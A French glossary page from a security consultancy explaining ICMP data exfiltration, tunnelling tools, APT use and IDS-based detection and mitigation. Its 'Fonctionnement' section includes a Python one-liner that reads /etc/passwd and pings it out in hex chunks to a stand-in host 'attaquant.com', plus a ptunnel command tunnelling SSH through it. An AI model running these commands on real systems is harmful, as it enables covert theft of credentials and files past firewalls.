Exfiltration ICMP
hackingDéfinition
L'exfiltration via ICMP (Internet Control Message Protocol) est une technique d'exfiltration de données qui encode des informations dans les payloads des paquets ICMP Echo Request (ping), généralement autorisés sur de nombreux réseaux car ICMP est considéré comme un protocole de diagnostic réseau légitime. Des outils comme icmp-exfil et PingTunnel créent des tunnels de données bidirectionnels via ICMP. Le protocole ICMP Echo Request (type 8) et Echo Reply (type 0) incluent un champ payload optionnel dont la taille maximale dépend de la configuration réseau (typiquement 1472 octets dans un ping standard, mais potentiellement plus). L'attaquant encode les données à exfiltrer dans ce payload et les envoie vers un serveur contrôlé qui extrait et reconstitue les données. Des outils comme PingTunnel créent des tunnels TCP complets via ICMP : le trafic TCP (SSH, HTTP) est encapsulé dans des paquets ICMP, permettant de contourner des firewalls qui bloquent le TCP mais permettent ICMP. Cette technique est utilisée dans des environnements avec des restrictions réseau très strictes ou dans des réseaux industriels (OT) où seul le ICMP de monitoring est autorisé. L'exfiltration ICMP est plus lente que les canaux HTTP ou DNS (les paquets ICMP sont souvent rate-limités) mais reste effective pour des données de petite taille (credentials, clés de chiffrement, commandes C2). Elle est utilisée par des APT dans des environnements où d'autres canaux sont bloqués. Des IDS/IPS modernes analysent les payloads ICMP et détectent les patterns d'exfiltration (taille de payload anormale, fréquence élevée, entropie des données encodées). Des règles Suricata/Snort spécifiques détectent l'utilisation d'outils courants d'exfiltration ICMP.
Fonctionnement
icmp-exfil basique en Python : import subprocess, base64; data = open('/etc/passwd','rb').read(); chunks = [data[i:i+56] for i in range(0,len(data),56)]; [subprocess.run(['ping','-c1','-p',chunk.hex(),'attaquant.com']) for chunk in chunks]. Le serveur attaquant capture les paquets ICMP avec tcpdump et extrait les payloads : tcpdump -i eth0 icmp -w capture.pcap; tshark -r capture.pcap -T fields -e data.data. PingTunnel pour tunneling complet : ptunnel -p proxy.attaquant.com -lp 8022 -da intserver -dp 22.
Exploitation offensive
L'exfiltration ICMP est utilisée dans des environnements très restrictifs (réseaux industriels, réseaux isolés) comme canal de backup quand tous les autres canaux TCP/UDP sont bloqués. Des APT comme APT28 ont été documentés utilisant des canaux ICMP pour les communications C2 dans des environnements cibles à haute sécurité.
Détection et mitigation
Bloquer ou fortement rate-limiter les paquets ICMP sortants vers Internet (seul ICMP interne vers des destinations de monitoring connues devrait être autorisé). Analyser les payloads ICMP (taille anormale > 32 bytes, entropie élevée) avec des IDS/IPS. Des solutions de NTA (Network Traffic Analysis) comme Darktrace détectent les patterns d'exfiltration ICMP via des analyses comportementales.
Articles liés
Expert en cybersécurité offensive et intelligence artificielle. Pentest, audit et développement IA sur-mesure.
Services
- Audit Infrastructure
- Audit Kubernetes
- Audit Microsoft 365
- Audit Sécurité Réseau
- Analyse de Risques
- Audit Active Directory
- Audit Application Web
- Audit Cloud (AWS/Azure/GCP)
- Audit Messagerie
- Audit API (OWASP Top 10)
- Audit DevSecOps & CI/CD
- Audit Code Source (SAST)
- Audit Postes de Travail
- Audit Sauvegarde & Résilience
- Audit OT/SCADA (IEC 62443)
- Développement IA
- Formations
Ressources
Projets & Outils
© 2026 Ayi NEDJIMI Consultants. Tous droits réservés.
Un projet cybersécurité ?
Expert dispo · Réponse 24h